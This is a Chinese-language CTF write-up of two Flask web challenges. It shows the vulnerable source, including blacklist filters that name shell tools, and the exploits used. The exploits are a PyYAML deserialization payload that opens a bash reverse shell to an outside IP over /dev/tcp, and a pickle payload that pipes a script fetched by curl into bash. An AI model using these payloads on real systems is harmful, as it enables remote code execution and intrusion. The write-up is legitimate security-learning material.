yaml_matser
import os
import re
import yaml
from flask import Flask, request, jsonify, render_templateapp = Flask(__name__, template_folder='templates')UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate','command','static','templates','session','&','globals','builtins''run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request','error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}input_str_lower = str(input_str).lower()for term in blacklist_terms:if term in input_str_lower:print(f"Found blacklisted term: {term}")return Truereturn Falsefile_pattern = re.compile(r'.*\.yaml$')def is_yaml_file(filename):return bool(file_pattern.match(filename))@app.route('/')
def index():return '''Welcome to DASCTF X 0psu3<br>Here is the challenge <a href="/upload">Upload file</a><br>Enjoy it <a href="/Yam1">Yam1</a>'''@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':try:uploaded_file = request.files['file']if uploaded_file and is_yaml_file(uploaded_file.filename):file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)uploaded_file.save(file_path)return jsonify({"message": "uploaded successfully"}), 200else:return jsonify({"error": "Just YAML file"}), 400except Exception as e:return jsonify({"error": str(e)}), 500return render_template('upload.html')@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():filename = request.args.get('filename','')if filename:with open(f'uploads/{filename}.yaml', 'rb') as f:file_content = f.read()if not waf(file_content):test = yaml.load(file_content)print(test)return 'welcome'if __name__ == '__main__':app.run()
我是蠢猪,新版pyyaml用旧版的打了1小时.eval被禁用了,直接用exec,payload如下
!!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "exec(bytes.fromhex('5f5f696d706f72745f5f28276f7327292e73797374656d282762617368202d63205c27657865632062617368202d69203e26202f6465762f7463702f3130312e34332e34392e3138332f313732373120303e263120323e26315c272729').decode())"
其中hex部分base64解码如下
__import__('os').system('bash -c \'exec bash -i >& /dev/tcp/101.43.49.183/17271 0>&1 2>&1\'')
const_python
/src路由泄露源码
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64app = Flask(__name__)app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")class User:def __init__(self, username, password, auth='ctfer'):self.username = usernameself.password = passwordself.auth = authpassword = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")@app.route('/')
def index():return "Welcome to my application"@app.route('/login', methods=['GET', 'POST'])
def post_login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username == 'admin' :if password == admin.password:session['username'] = "admin"return "Welcome Admin"else:return "Invalid Credentials"else:session['username'] = usernamereturn '''<form method="post"><!-- /src may help you>Username: <input type="text" name="username"><br>Password: <input type="password" name="password"><br><input type="submit" value="Login"></form>'''@app.route('/ppicklee', methods=['POST'])
def ppicklee():data = request.form['data']sys.modules['os'] = "not allowed"sys.modules['sys'] = "not allowed"try:pickle_data = base64.b64decode(data)for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\','compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:if i.encode() in pickle_data:return i+" waf !!!!!!!"pickle.loads(pickle_data)return "success pickle"except Exception as e:return "fail pickle"@app.route('/admin', methods=['POST'])
def admin():username = session['username']if username != "admin":return jsonify({"message": 'You are not admin!'})return "Welcome Admin"@app.route('/src')
def src():return open("app.py", "r",encoding="utf-8").read()if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5000)
发现存在pickle反序列化执行路由.没禁用subprocess,网上抄个payload直接打.
i = 0
s = 'curl http://123.57.23.40/1.sh/ | bash'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
sp = GLOBAL('subprocess', 'getoutput')
sp(s)
return
pker生成payload,把\n
替换为真正的换行,base64编码以后直接打curl弹shell,得到flag.